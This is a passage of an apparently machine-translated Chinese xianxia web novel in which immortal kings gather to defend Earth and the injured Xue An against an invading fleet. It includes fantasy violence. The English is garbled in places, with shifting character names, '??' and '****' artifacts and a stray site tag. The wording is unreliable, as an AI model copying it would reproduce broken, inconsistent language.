    "Not yet, but it shouldn''t be far away! But there is no star map near here in this starship, so we have to look for nearby reference objects to tell where we are going!" Ye Hanshang manipulated Xingzhou, Shen Sheng said.


    That''s right!


    On top of this starship were Ye Hanshang and others from the alchemy hell.


    Because the alchemy **** is too far away from the earth, even though Ye Hanshang left immediately after receiving the news, he waited until now.


    "Doesn''t it take a long time to delay? What if something happens to Xue An at this time?" Meng Yao became more anxious.


    At this moment, a gentle and mellow voice came from behind her.


    "Ms. Meng doesn''t have to be so worried, Xue Shizhu and Ji people have their own heavens, and nothing will happen!"


    The person who speaks has a bright head and a majestic face. It is Jin Jue Seng.


    Ye Hanshang smiled when he heard the words, "You monk usually talks about it, but this is a good sentence. I don''t believe that Xue An will have an accident if you kill him! Are you big?"


    With that, Ye Hanchang turned his head and looked at the porthole not far away.


    In front of the porthole stood a man who was three meters tall and his muscles bulged like a small hill.


    I saw him staring at the void outside the window, and said indifferently: "Yes! He won''t die!"


    "Look, even the big man admits that Xue An will be fine, so you should relax!" Ye Hanchang said with a smile.


    Although Meng Yao was still extremely anxious, since Ye Hanshang had said so, she had no choice but to nod her head.


    In fact, from the moment she learned that Xue An had an accident, her heart had never been at peace.


    Now that she is getting closer and closer to her destination, she is even more ups and downs, like sitting on pins and needles.


    At this moment, along with the slight fluctuations in the space, the song of Fox Night came over.


    When it passed into the star boat, everyone was taken aback.


    This singing...


    Immediately afterwards, Meng Yao turned blue and spit out: "Who is singing this? This is too ugly!"


    But as soon as her words fell, Ye Hanchang''s eyes gradually lit up, and at the same time a faint smile appeared at the corners of her mouth, and then whispered softly: "You really arrived earlier than me!"


    Not only him, but even the big man standing in front of the porthole gave a slight shock.


    Meng Yao didn''t hear clearly, and couldn''t help asking, "Master Mingjun, what did you just say?"


    Ye Hanchang chuckled, "It''s nothing! I just felt a little emotional when I heard this song!"


    Feeling...?


    Meng Yao couldn''t imagine anyone who could sigh with emotion after hearing such harsh singing.


    Ye Hanshang also saw her thoughts and couldn''t help but smile: "This song is really unpleasant, because this guy who sings is notoriously incomplete! But now it''s a good thing to hear it!"


    "Good thing?" Meng Yao looked puzzled.


    "Yes, because it also means that we are already very close to the goal. Just follow this song and you can easily tell the direction! Isn''t it a big man?"


    The big guy turned around, there was a rare smile on that cold poker face, and then he sighed: "That''s right! But I have to say, this fox''s singing is really... hard to say!"


    There was a hint of helplessness in his tone.


    "Hahahahaha, it seems that the only voice of this dead fox among the heavens can make you feel helpless!"


    Ye Hanshang laughed loudly, and then shouted: "Sit down, we will move forward at full speed next!"


    As he said, he pushed the joystick abruptly, Xingzhou slowly turned the direction, suddenly accelerated, and disappeared in place as a stream of light.


    The distance of hundreds of millions of miles seems to be great, but it is so insignificant to the vast starry sky.


    After discerning the direction, the starship moved forward at full speed, and just a few minutes later, countless boulders appeared in the space in front of him.


    Everyone was refreshed.


    Ye Hanchang also showed a smile, "Finally here!"


    After that, Xingzhou concealed into the gravel and flew forward.


    "Everyone has it, stand at attention!" Hu Ye commanded with hands on hips in a serious manner.


    With an order, these dragon people stood up straight and tried their best to make their standing posture become standard.


    Hu Ye nodded with satisfaction, "Yes, it seems that you really regretted it, so let''s go! Anyway, your boss is dead, so why not follow me?"


    These dragon people looked at each other, and then scrambled to shout.


    "My lord, we are willing!"


    "My lord, after UU read , where your finger is, it is our direction!"


    "My lord, I don''t want salary anymore!"


    Hu Ye looked at it with a smile, but at this moment, he suddenly felt something and turned to look at the distant sea of ??gravel.


    At the same time, Ye Hanchang drove the flying boat straight out from the center, wherever he passed, the gravel was shattered and the momentum was like a rainbow.


    "Oh my god, someone is speeding!"


    In the shouts, these dragon men immediately hid behind Hu Ye.


    Ye Hanchang looked at the fox night standing in front of him, with a narrow smile on his face, and he slammed on the accelerator.


    Xingzhou, which should have slowed down, shook his entire body, and then ran into Fox Ye at a violent speed.


    Meng Yao exclaimed, "Master Mingjun, what are you doing?"


    However, in the face of the aggressively rushing star boat, Fox Ye didn''t even move. Instead, he hugged his shoulders in time and looked at it with interest.

 Chapter 1762： 5 Wang Zhenshi

    at last!


    Just a few feet away from Fox Night, Xingzhou suddenly braked sharply, and the violent forward momentum suddenly began to slow down.


    When it came to a complete stop, Xingzhou''s front was already close to Huye''s nose. That''s it, Huye didn''t even blink his eyes, but quietly looked at the front window on Xingzhou.


    Because through this layer of glass refined by the secret method, you can just see Ye Hanshang inside.


    The two looked at each other, and then the window of Xingzhou came down. Ye Hanshang poked his head out of it and shouted with a narrow smile: "Hey, dead fox, you are not afraid that I can''t stop the car. Huh?"


    Hu Ye shrugged, then spread his hand, "Don''t be afraid! You can run over me if you have the ability!"


    "Damn, you are still such a rascal!" Ye Hanchang sipped.


    "You too, still so boring!" Hu Ye replied unceremoniously.


    But after mocking each other, the two looked at each other and then laughed.


    Amidst the laughter, Ye Hanshang jumped out of the star boat directly, and gave Huye a sturdy bear hug.


    "Little fox, long time no see!"


    "Little Apiao, long time no see!"


    A Piao is used as a pronoun for lonely ghosts in some places, so Ye Hanchang said embarrassingly: "You are still like this, you won''t eat any loss!"


    "Nonsense, why should I take your losses? You are not a girl!" Hu Ye said disdainfully.


    At this moment, Jin Jue and Meng Yao also walked off the Xingzhou.


    When he saw Jin Jue, Hu Ye was slightly startled, "Invisible Big Bodhisattva? Little Ye Zi, are you planning to convert to Buddhism?"


    "Fuck, do you think I''m like someone who can''t think about it?" Ye Hanshang cursed with a smile, and then introduced: "His name is Jin Jue, who is also Xue An''s friend. This time he heard that Xue An had an accident, so he followed Helping out!"


    While talking, Jin Jue stepped forward and greeted Fox Yeji, "Little monk has seen Lord Fox King!"


    Hu Ye hurriedly returned a gift, "Too polite! Just call me Hu Ye!"


    Fox Ye knows very well that in Buddhism, the invisible Big Bodhisattva is equivalent to the fairy king among the heavens.


    So he was very polite.


    Then he looked at Meng Yao curiously, "This one is..."


    Meng Yao stepped forward and respectfully said: "Little girl Meng Yao, I have seen Lord Immortal King!"


    "Meng Yao, wow, this name is really temperamental! Little lady, how old are you? Are you married?" Fox Ye said with a grin, how do you look like a gangster.


    Meng Yao''s face flushed, and the person who ate Ai Ai didn''t know how to answer Fox Ye''s words.


    At this moment, I only heard a powerful and loud voice that resembled Dalu of Admiralty.


    "Little fox, you are at the cute girl again!"


    Following the voice, the brawny man who was three meters tall also walked off the star boat.


    After seeing him, Hu Ye was taken aback for a moment, then couldn''t help but exclaimed, "Damn it, it''s you!"


    "What? Surprised?" The strong man smiled faintly.


    A strong surprise appeared on Hu Ye''s face, "It is indeed a little surprised, Brother Chu, why are you here with Xiao Ye Zi?"


    The brawny man smiled, "At that time, after I received the news, I immediately put everything down and rushed here, and then happened to meet Han Chang and the others on the road! So I rushed together!"


    Ye Hanshang also nodded, "Yes, the big man was on his way alone at the time, I happened to meet him, and then came over together!"


    Fox night was simply overjoyed when he heard this.


    In his opinion, as long as this big guy comes, the earth can sit back and relax.


    Because this big man created the Dragon Elephant Gate with one hand, and was also called Chu Wuxiang, the first person to cultivate in the heavens!


    This is a truly peerless fierce man, the kind that does not contain any moisture.


    In terms of strength alone, this Chu Wuxiang can be regarded as one of the best existences in the first level of the Immortal King, second only to some peerless evildoers.


    Even Huye, when facing him, he has to bow down.


    But because this Chu has no relatives and peace, and doesn''t like to fight with people, so the fame among the heavens is not as big as the fox night.


    In recent hundreds of years, it has been heard that he has long been practicing in retreat.


    Unexpectedly, this time when Xue An had an accident, he would not be far away.


    In fact, Chu Wuxiang is indeed practicing in retreat, and it has reached a very critical moment.


    But even so, after receiving the divine mind broadcast, he immediately broke the barrier, put everything down, and rushed directly to the earth.


    The reason for this is not only the deep relationship between him and Xue An, but also the kindness in it.


    At that time, Chu Wuxiang was so obsessed with cultivation that his heart and demons were in his body, and his golden body was almost broken under the circumstances.


    It was in this extremely dangerous situation that Xue An took a huge risk and brazenly took a shot, surviving him in a mad state, and then adjusted it, and finally let him pass the hurdle.


    Since then, Chu Wuxiang, who is upright by nature, regards Xue An as his lifelong confidant, and does not want to repay his favor all the time.


    So this time Xue An had an accident, he would be so desperate.


    "Great, if Zhuge Zang and the surnamed Tian know that you two are here, they don''t know how happy they would be! Let''s go, let''s go back quickly!" Hu Ye said excitedly.


    Then everyone boarded the star boat together, and an acceleration disappeared in the starry sky.


    The remaining group of dragon people stood in the same place stupidly, and didn''t wake up until after a while.


    "Yaoshou, my lord doesn''t want us!" someone screamed.


    As soon as the voice fell, the dragon man on the side raised his hand and knocked on his head, "Yaoshou, are you so tall? I have been holding you back for a long time!"


    "Then what shall we do now?"


    At this moment, Fox Ye''s voice suddenly appeared in their minds.


    "Er wait here. If there is any change, please report it to me as soon as possible, understand?"


    This group of dragon people shuddered, and hurriedly bowed their heads and said: "Yes!"


    They patrolled here and waited without mentioning, but said that the Fox Ye and others returned to the earth with the starship.


    On the way, Hu Ye had already notified Zhuge Zang and others in advance So when Xingzhou appeared in outer space, Zhuge Zang and Tianzha had already led people to greet him here.


    Not only that, when the news spread, all the media began to exaggerate the matter.


    Especially when I heard that there were two fairy kings among the people in Laede, the whole world was boiling.


    "Hahaha, now we have five immortal kings on our planet, I don''t believe who else would dare to do it!" Someone smiled with relief.


    "Yes! Whoever dares to come, let''s teach him a lesson he will never forget!"


    For a time, all kinds of discussions were raging.


    And this matter was called by later generations, the Five Kings!


    But just when the whole world fell into a state of madness of relief.


    In the depths of the distant starry sky, a huge team suddenly appeared.

 Chapter 1763： Sword 13

    This is a very strange team.


    Because the team is made up of all kinds of star boats.


    The identities of the players are even more diverse.


    There are monsters, ghosts, demons, and even a few alien creatures.


    Of course, the human race is the main one.


    But these people, no matter what their identities, are all looking forward to it without exception.


    "Ahem! Business master, how far are we from the goal now?" said an old man with a goatee and flashing eyes.


    The principal of Qiantianyuan, Shang Liang Wenyan, pondered for a moment, and then said in a deep voice: "It''s very soon, there are at most three or four days away!"


    "There are still three or four days? I''m almost there! I''m bored all day long in this star boat!" A man with a red flower head and a beard, but a very feminine man , Pinched her throat and said in a "Jiao Di Di" voice


    Everyone couldn''t help but feel a chill, and some of them almost got sick and vomited, but they suffocated again.


    Because people all know how terrible this girly man is.


    After all, this is a perverted murderer who once slaughtered an entire planet and then raised all men in captivity for their own pleasure.


    "Master of the business school, but I don''t know the news is it true? The Red Lotus Immortal Venerable was really reincarnated and then seriously injured?" This time it was a beautiful and charming lady who just said something. , The amorous feelings revealed made many people with less determined powers look straight.


    Shang Liang nodded, "I can''t go wrong, because it''s the Lord of the Abyss, a quasi-immortal emperor-level powerhouse who notified me, how could such an existence lie?"


    "Hey! Speaking of it like this, can this reincarnation of Xue be able to destroy the quasi-immortal emperor-level powerhouse in such a short time?" someone exclaimed.


    "Humph! What can be done if he is not as good as the Immortal Venerable now, then I must kill him, and then make his soul into a puppet, so that he will suffer endless suffering all the time!" The man with scars on his face and gloomy eyes said grimly.


    Everyone''s eyes sparkled with cold light when they heard this.


    Because these people present are all people who have blood feuds with Xue An.


    That''s why they rushed to the earth without stopping immediately after hearing the news.


    To take advantage of this once-in-a-lifetime opportunity to kill Xue An.


    "Ahem!" Goatee coughed slightly at this time, "In case, I mean in case, what if this Xue An gets better when we arrive?"


    "Impossible!" Shang Liang said decisively: "Because it was the Lord of the Abyss who injured him, it is absolutely impossible for such a powerful existence to make him suffer only a small injury!"


    After hearing this, everyone nodded.


    But this goatee has the courage to ask questions.


    "Okay! Even if he is seriously injured, Xue An is not a fool. He naturally understands how dangerous his situation is now. Wouldn''t he find a helper during this period of time? You should know that although the Red Lotus Immortal Venerable had made countless enemies, But there are also many friends! Among them, there are many strong immortal kings..."


    These words changed the faces of many people, because what this goat said is true.


    Shang Liang was also speechless, and finally said bitterly: "What if I can find a strong immortal king? I am also a immortal king!"


    "But the point is that you are the only immortal king in our group, and most of the rest are the existence of the immortal kings above Daluo. How do you do this?" Goat Hu said.


    "Then what do you say? Do you want to go back home?" Shang Liang said irritably.


    The goatee smiled, "Don''t worry, the business master, I''m just talking about what might happen. If Xue Anzhen finds a helper, then I think our safest way is to wait!"


    "Wait?"


    "Yes, this news is obviously still being fermented! Soon, the depths of the starry sky will also know this news, when that time there will definitely be big people taking the opportunity to take the opportunity to dispatch, and there may even be immortal emperor-level giants. By then..."


    The goatee sneered, "Even if Xue Anzhen finds a helper, he might not be able to catch it!"


    This analysis made Shang Liang''s eyes bright, but immediately dimmed.


    "When will you wait? So it might as well..."


    Before he could finish his words, the whole team was shocked.


    Shang Liang was startled, "What''s the matter?"


    At the same time, the vibration of the void became more and more intense, as if a giant was striding forward, and the stomped void vibrated.


    Everyone''s complexion changed drastically, and they turned to look at the depths of the void.


    Bang bang bang!


    With a sound of vibration from far to near, a faint figure gradually appeared in the depths of the void.


    This figure is advancing step by step, and every step it steps down, it will cause waves of ripples, and the void will also vibrate.


    The speed of the figure seemed to be extremely slow, but in a flash, it came to everyone from the depths of the distant void.


    Only then did people see that this figure was actually a woman.


    A small and slender woman with picturesque eyebrows and full of ethereal beauty.


    And there is a red vertical line between the woman''s eyebrows, like a sharp sword, full of evil spirits, making people shudder just by looking at it.


    Everyone was stunned by the scene before them.


    At the same time, the woman stopped in front of the team, her eyes flowed, and then said lightly: "Do you know the direction of the earth?"


    Shang Liang trembled all over.


    Earth?


    Did this woman also go to Earth?


    What is she going to do?


    At this moment, the old man with a goatee suddenly shook his whole body, and then exclaimed, "Sword Thirteen, you are Sword Thirteen!"


    boom!


    This name shocked everyone.


    Because this seemingly simple name is an almost legendary existence.


    Rumor has it that this sword thirteen is a complete sword lunatic. She took this name because she felt that there were only thirteen people in the heavens who were able to surpass her.


    I have to say that this is an extremely arrogant name.


    Because there are more than hundreds of millions of swordsmen in the heavens, this person actually thinks that there are only thirteen people who can beat her. How confident is it to say this.


    At the beginning people did ridicule this title, but all these voices disappeared.


    Because this man began to single-handedly challenge the great sword factions of the heavens and win streak consecutive battles.


    In the face of this absolute strength, all criticisms are pale, and people even think that what she said is true.


    So the name resounded through the heavens.


    But I never expected that this dazzling and frightening Jian Shisan was actually a woman.


    This is too incredible.


    At this moment, the woman smiled slightly, "Do you know me?"


    The goatee was trembling all over, and he stammered: "I... I was fortunate enough to see you from afar at the Sword Palace Conference!"


    The woman nodded, and then faintly said: "But you said one thing wrong, I am not Sword Thirteen now!"


    "My name is Jian Qi! The seventh of the seventh!"

 Chapter 1764： War

    The audience was quiet, everyone was stupid.


    Sword Seven...


    This name means that the woman in front of me has challenged at least six kendo masters and won all of them.


    This growth rate is really terrible.


    Just when everyone was shocked.


    Jian Qi said lightly: "Do you know the direction of the earth?"


    Hearing this, Shang Liang suddenly thought of something, then lowered his posture and asked cautiously: "You...what do you want to do when you ask the direction of the earth?"


    "Go there and challenge the Red Lotus Immortal Venerable!"


    Shang Liang was startled at first, and then overjoyed, "Sword Seven Girl, we happen to also go to the earth to find Xue An''s account, how about we walk together?"


    "You...find Red Lotus Immortal Venerable?" Jian Qi glanced at everyone.


    Shang Liang nodded vigorously, "Yes, all of us have antagonisms against Xue An, so we and the girl are comrades-in-arms on the same front!"


    With that, Shang Liang winked at everyone.


    "Yes, yes, yes!" The crowd reacted and nodded again and again.


    Jian Qi smiled and said softly: "Interesting!"


    Xuan even nodded, "It''s okay, anyway, I''m going to the earth, so let''s go along!"


    Shang Liang was overjoyed and hurriedly ordered people to vacate a star boat. Jian Qi was not polite, and went back to rest after boarding the star boat.


    Everyone got together and talked in whispers.


    "Now it''s done!" Goatbeard said with flying brows: "As long as there is this killer, even if Xue Anzhen finds a helper, he has to stand aside!"


    "Is it such an exaggeration? How can I see that this girl can pinch water out tenderly, really so powerful?" The scarred man said with a smile.


    But as soon as his words fell, a butterfly-shaped sword light swept across the air, directly piercing his forehead, flying it, and then firmly nailed to the wallboard.


    Blood was mixed with his brain, and the scarred man''s eyes were full of incredible horror. He obviously didn''t believe that anyone would dare to act in front of so many people.


    But in the next instant, this sword light burst open, blasting his head directly into pieces.


    The dead corpse plopped and fell to the ground, and then the blood snaked down the cracks in the floor, exuding an unpleasant smell.


    Everyone was stunned.


    Then I heard Jian Qi''s voice coming from afar, "There are more people who talk about the palace behind, kill!"


    As soon as these words came out, everyone shuddered, and their faces appeared frightened.


    Because this is too domineering.


    Just because of a comment, he killed a big Luo strong man.


    And it''s just like killing a chicken.


    Only then did people finally understand how terrifying this small and quiet woman was.


    There was joy in Shang Liang''s eyes.


    The stronger Jian Qi''s strength is, the more help he will be.


    As for the dead scared man...


    Shang Liang didn''t even bother to take a look, but he said in a deep voice, "Drag the dead body out, and then collect all the men he brought!"


    "Yes!"


    The army flew to the earth in mighty force.


    Finally, five days later, a sea of ??gravel on the edge of the solar system loomed ahead.


    When he saw this scene, Shang Liang waved his hand, and the team slowly stopped.


    "What''s the matter? Why did you stop suddenly?" Goatee asked.


    Shang Liang smiled, "Can''t you tell? In this sea of ??gravels, there is obviously a master who has set up a detection circle. If we just break in like this, we will surely startled the snake!"


    "Then what to do? This is obviously the only way to go, and you can''t go around if you want to!" the seductive woman said anxiously.


    "Hehe, don''t worry, since I dared to call everyone to come, I was naturally prepared!"


    As he said, Shang Liang suddenly stretched out his hand, and a series of seals printed in advance flew into the air, and then landed on each star boat.


    boom!


    Fu Zhuan was activated, and an invisible barrier blocked all breath fluctuations.


    Shang Liang said triumphantly: "Did you see it? Now even if we pass directly through the detection circle, it won''t cause any waves, so when we reach the earth, we will surely kill them by surprise!"


    "The Lord of the Chamber of Commerce is really good!" Goatee praised with his thumb.


    Everyone was also flattering, and Shang Liang laughed, "It''s just a little trick, it''s not enough. Next is the rare opportunity of a lifetime. I hope everyone will work together to destroy Xue An!"


    Everyone suddenly promised.


    Then the team restarted and rushed into the sea of ??gravel.


    Sure enough, as Shang Liang said, under the cover of this talisman seal, where the team passed, no waves arose.


    Everyone was excited, gearing up, planning to enter the earth, and then shame.


    But just when they thought they had evaded all detections seamlessly and were about to enter the solar system silently, a small change happened.


    Since Fox Night ordered this group of naive dragons to be in charge of patrolling here, these dragons have done their job with due diligence.


    For them, this kind of day is simply not too leisurely.


    Every day, it revolves around a large area, and if there is any abnormality, just report it to Fox Night through divine mind.


    Today is no exception.


    The three dragons hummed a small song and strolled along the edge of the sea of ??gravel, while discussing the new boss who is now following.


    "Tsk tusk, I think our new boss is much brighter than the previous Lord Lord!" said a dragon with a lollipop in his mouth, and said with enjoyment.


    "Yes! It''s not something the boss sent, I don''t know that there is such a delicious thing in the world!" Another dragon man chewed the spicy noodles and said very moved.


    There was another dragon who didn''t speak, because he was concentrating on dealing with the chicken legs in his hand.


    But at this moment a huge team suddenly appeared in front of their eyes, and thundered past them.


    These three dragon men were all stupid, standing still, not even knowing that the lollipop in their mouth had fallen.


    Shang Liang and the others were very fast, disappearing into the night sky almost in the blink of an eye, so they didn''t even notice the three dragon men on the edge of the sea of ??gravel.


    When Shang Liang and the others were already far away, the three dragon talents came to their senses, looked at each other, and then exclaimed in unison.


    "Fuck, come to live!"


    Having said that, the three of them began to frantically contact Fox Night, and transmitted the scene they had just seen through their spiritual thoughts.


    Huye, who was on the earth, was surprised when he received the news, but quickly calmed down, and then told Zhuge Zang and others.


    Zhuge Zang was silent for a moment, and then sneered: "Is it finally here? Well, I want to see who can attack the earth under the joint hands of our five immortal kings!"


    As he said, he said solemnly: "Notify the Earth Allied Forces Command, so that they will be ready to face the powerful enemy!"

 Chapter 1765： Full coverage saturated artillery strike!

    When the news reached the Earth Coalition Command, it only took less than a minute. The generals of the Earth Coalition Command reached a consensus and issued a mobilization order.


    All countries and organizations, as long as they are under the jurisdiction of the Earth Alliance Command, must be prepared for the highest level of combat from the moment they receive this order to wait for a strong enemy.


    With an order, the world is boiling.


    Countless troops have begun to prepare step by step in accordance with the regulations that have been drilled countless times.


    I saw a warplane roaring into the high altitude, major fleets were assembled at sea, and countless missile silos in the mountains were also opened.


    The outer space radar that has been set up is turned on at full power, closely monitoring all changes.


    Compared with the army''s arrogant swords, the powerhouses of the earth are much more relaxed.


    Despite this, they also packed their bags for the first time, staring at the scene above the sky with all their attention.


    On the street, in each house, all the TV programs were interrupted and replaced with a panoramic live broadcast.


    For a time, the whole world was filled with an atmosphere of extreme silence.


    In this case, Xue An''s position is naturally even more important.


    Countless missiles are densely arranged within a radius of fifty miles, waiting to take off at any time.


    Various anti-repair mines are buried under the ground to prevent the enemy from breaking through from the ground.


    An Yan dressed in alchemy armor and holding a pan, sitting silently in front of Xue An, blocking him behind him.


    Miss Nian and Arou, Chan''er and others have followed Zhang Xiaoyu back to the Fubao Xiaolou. Under the heavy restrictions, the absolute safety of these two little girls should be guaranteed.


    So An Yan at the moment has no distractions, with murderous eyes.


    An Yan is a very good-tempered person, under normal circumstances, she is easy to kill.


    But now she is indeed angry.


    They even dared to come to the pit when their husband was seriously injured. No matter who came, they were all dead.


    Not only that, but Tang Xuaner, Fan Mengxue and Hu Ying were sitting behind her at the moment.


    So many people gathered together, and the strong murderous aura rising up made the wind and clouds above their heads discolored.


    It''s when everyone is ready to wait for a strong enemy.


    In outer space, the team of Shang Liang and others had already crossed Mars and was only one step away from the earth.


    Looking at the pale blue planet in the distance, Shang Liang''s eyes flashed an icy killing intent, and then he said in a deep voice: "The order goes on, all the star boats are moving forward at full speed. You must kill him by surprise!"


    "Yes!"


    With an order, the team suddenly began to accelerate.


    A cruel smile appeared on the faces of everyone present.


    The seductive woman looked at the earth and smiled lightly: "It''s a beautiful planet, it''s a pity..."


    Before she could say anything, the Xingzhou under her feet suddenly trembled violently.


    Everyone''s complexion changed, but before they could react, the shock wave set off by the explosion blasted the starship they were on.


    Immediately afterwards, countless missiles flew across the sky, covering all the star boats like a rain of fire from the sky.


    Boom boom boom!


    The explosions continued one after another, and in the end, the order was not even clear, and the explosion sound was even denser and connected.


    Full coverage saturated artillery strike!


    China��s best tactics.


    No matter who the opponent is or how many people there are, cover it with gunfire first.


    One time is not enough, then twice.


    In short, all problems that can be solved with artillery fire are not problems.


    Especially at this moment, facing a powerful enemy with unknown strength, Hua Guo has fully utilized this tactic.


    In less than a minute, China dumped thousands of missiles into this airspace.


    Looking at the continuous flames in the monitor, the faces of the generals from other countries were a little pale.


    In particular, the general of Country M murmured to himself with a dull expression: "Mad, all crazy! Are these guys in China planning to kill gods with missiles?"


    at last.


    The fire gradually dissipated.


    Fortunately, this is outer space. If it is above the earth, no matter how hard the ground is, it can''t withstand such dense artillery coverage.


    Even so, because of the dense explosions, the entire space presents an unstable situation.


    Everyone stared at the monitor with piercing eyes, and when the smoke and dust had completely dispersed, the center of the explosion was finally revealed.


    I saw the whole area was empty and there was nothing.


    The previous star boats are even gone.


    Everyone''s eyes gradually widened.


    what happened?


    Could it be that a round of artillery coverage wiped out all these enemies?


    Although there was some disbelief in my heart, the emptiness in front of me seemed to prove that all this was true.


    When many people saw this, they couldn''t help but breathe, and then their confidence increased.


    "Hahahaha, this group of fools went all the way to invade the earth, and they sent them to the sky in a volley, which is really funny!"


    "I didn''t say, Hua Guo Niu X (broken tone)!"


    "It seems that firepower is the truth!"


    "Tsk tsk, I have collected so many instant noodles in vain, and these guys are too good!"


    "The whole world is like an enemy, but the enemy is not strong!"


    The Internet is simply a joy.


    But at this moment, the void in the lens began to ripple, and then, a star boat flew out of it.


    The surface brilliance of these star boats is still there, only slight burn marks prove what they have experienced.


    And this is the biggest achievement of this round of artillery fire coverage.


    Seeing this scene, the originally jubilant Internet instantly went silent.


    Everyone looked foolishly.


    at the same time.


    Shang Liang, who was so ashamed by this round of volleys, had a pale face, and said angrily: "A group of ants dare to resist? All rush to me. I will blast this planet to pieces!"


    These guys who followed Shang Liang were also holding fire in their hearts at this moment.


    If it is blocked by the strong, they can still accept it.


    But I never thought that the first wave of attacks would come from the mortals I looked down on most.


    And he almost hurt himself.


    How can this not make them angry So these guys screamed and rushed to the earth.


    But at this moment, vortices suddenly appeared in the originally calm void. Several star boats were too late to react, and were directly torn apart by these vortices. Including the people inside, it became the most basic in a flash. The particles disappeared.


    This weird scene made Shang Liang and the others chilling.


    "Hurry up! These vortices are weird!"


    But everything was too late, and countless eddies appeared in a flash.


    Not only that, but the entire void suddenly filled with darkness, as if **** had reappeared in the world.


    Click!


    In the blink of an eye, several star boats turned into nothingness.


    Shang Liang''s face sank, and a few words burst out between his teeth.


    "The fairy king means!"

 Chapter 1766： Fairy King Fight

    As soon as the voice fell, a figure gradually appeared in the void ahead.


    He was a man with cold eyes and a cold face.


    When he appeared, the void trembles slightly, and the diffuse Yin Qi is like seeing a king''s minister, dancing endlessly.


    And behind him, a series of laws fell down, condensed into a virtual king with a flat crown on his head and a majestic face, overlooking Shang Liang and others.


    The audience was silent.


    But this is just the beginning.


    Immediately afterwards, a tired voice came from the void, "Is there actually a magical appearance of the Immortal King? Well, let me join in the fun too!"


    After all, a virtual image of a sky fox with a height of one hundred feet and white hair as jade, waving seven tails behind him, appeared in the sky.


    "God...It''s the sky fox of the Qingqiu Fox Country!" the seductive woman said in a nearly groaning tone.


    Shang Liang''s expression was hard to see the extreme, but things were far more terrifying than he thought.


    Because at this moment, there was another grinning voice not far away, "You all show the truth, or I don''t seem to be justified!"


    As he said, a dark monarch wearing a black gold diadem appeared impressively.


    At this time, Shang Liang and everyone''s faces became paler than Xue.


    But it''s not over yet.


    "That old man also came to join in the fun!"


    boom!


    A huge picture of Tai Chi and Eight Diagrams suddenly appeared, and the hexagrams were continuously deduced, revealing all kinds of mysterious illusions.


    It''s another fairy king...


    Everyone was shocked and almost numb.


    "Did the **** hit the Immortal King''s den? When did the Immortal King be so worthless?" Goatee whispered, tears flickering in his eyes, and he was scared to cry.


    You must have known that after you came here, you would meet so many fairy kings, and he would not dare to come with Shang Liang to death.


    Because this is pure death!


    Shang Liang''s complexion is also very ugly, but he still calmly comforted.


    "Don''t worry, if there are only these four immortal kings on the opposite side, I can still hold it! After all, my immortal king''s law is very strong, unless I have physical training, I am not afraid of anyone!"


    Although there are many bragging elements, what he said is not all false.


    What he mastered was to restore everything to the original law, so he was able to overcome all spells, unless he encountered pure physical training that could not even a trace of spells, otherwise he would have a great advantage.


    And the pure body cultivation that can''t be done with any magic is rare in the heavens, and it''s so easy to encounter.


    Therefore, everyone''s originally extremely fragile emotions also calmed down a bit.


    Shang Liang couldn''t help but heaved a sigh of relief.


    If this is not appeased, this group of people will probably collapse first before waiting for the other party to attack.


    But it seems to be deliberately against Shang Liang.


    Before his heart was relieved, another profound voice came from the void.


    "Since everyone has discovered the Fa, then I will follow the trend too!"


    After the words fell, a figure of several hundred feet tall, with bulging muscles all over, a virtual image of a strong man like an ancient giant appeared in the sky.


    Shang Liang''s mouth was wide open and he stared at this scene blankly, with a hint of horror in his eyes.


    Because he felt almost endless power from this virtual image.


    And there is only one possibility that can cause him such a shock, and that is that the other party is a physical practitioner who is like a fake replacement.


    This kind of oppression made him unable to say a word.


    And it''s not just him, the audience is silent.


    Seeing this scene, the earth exploded even more.


    "Hahahaha! Let me just say, there are five immortal kings on our planet now, and any attacking enemy is hitting rocks with pebbles!"


    "Yes, the five immortal kings gather together, this is an extremely rare sight even among the heavens!"


    "Somehow, I suddenly felt a little sympathy for these enemies, so...I will laugh first!"


    "Wipe, upstairs, my fifty-meter knife was almost pulled out, pay attention next time!"


    There is joy again on the Internet.


    At the same time, Huye glanced at the team in front of him, and then he smiled at the Shang Liang at the front, "I want to come over and cause trouble with such a few people? Are you here to be funny?"


    Shang Liang''s whole body trembled, and an expression of resentment appeared in his eyes.


    "So few people? Hehe, don''t think I''m afraid if you have more people! Together, we will not be weaker than you! Right?"


    With that said, he turned his head to see how everyone reacted.


    But at this time these guys were all shaking their teeth because of extreme fear, and they didn''t even dare to lift their heads, let alone any reaction.


    Shang Liang was taken aback for a moment, and then furiously said: "What do you mean? Didn''t we all negotiate before we came, and we must advance and retreat together to deal with Xue An! Why? They all flinched?"


    In the sound of questioning, these guys still did not respond, but took a step back together.


    "You..." Shang Liang was furious.


    At this moment, Zhuge Zang suddenly opened his mouth and said: "If I am not mistaken, you should be Shang Liang, the principal of Qiantianyuan!"


    Hearing this, Shang Liang turned his head and stared at Zhuge Zang for a moment, then snorted coldly, "Who am I? It turns out that Zhuge is the fortuneteller! Why? Have you also acted as a watchdog for Xue An?"


    Zhuge Zang didn''t get angry, but smiled faintly, "Shang Liang, you are also a decent monk anyway, why do you want to collude with these evil demons?"


    "Outside the evil demon? Haha! Zhuge Zang, don''t talk nonsense here. I''m here to find Xue An''s revenge. If you get out of sight, don''t blame me for being polite!" Shang Liang''s face was full of expressions. Said.


    "Get revenge on Xue An? Haha, you are so embarrassed to say that when Xue An was once for Immortal Venerable, why didn''t you say revenge?" Hu Ye sneered I don��t think Xue An is now burdened. Seriously injured, I want to come over and take advantage of the fire! what! "


    These words were very harsh, but Shang Liang didn''t care at all. Instead, he sneered: "Yes, I just took advantage of the danger. What can you do? And I also told you that Xue An ended up in the land like this. He takes the blame!"


    "Looking for death!" Ye Hanchang couldn''t help it for a long time, so he moved his hand directly.


    I saw a huge vortex suddenly appeared in front of Shang Liang, and the violent power of time and space surged out, and Shang Liang was about to be torn apart.


    But when these forces reached Shang Liang, they turned into nothingness.


    Then Shang Liang laughed grimly, "Don''t think that I will be afraid of you if you have too many people, you are the fairy king, but so am I!"


    Following the voice, a statue of a **** whose body was hidden in the mist suddenly appeared above Shang Liang''s head, with only his eyes exposed.


    Wherever the god''s gaze passed, the space was directly restored to its most authentic state.


    The space-time vortex then vanished into nothing.

 Chapter 1767： Stop me, die!

    Then Shang Liang Zhuangruo said frantically: "Come on! Let''s go together! See if you can beat me!"


    There has always been a saying among the heavens that only the fairy king can deal with the fairy king, but it is extremely difficult to kill the fairy king.


    Because all those who truly achieve the status of the Immortal King through their own cultivation have generally been integrated with certain cosmic laws.


    So if you want to really kill the fairy king, unless you can obliterate the law.


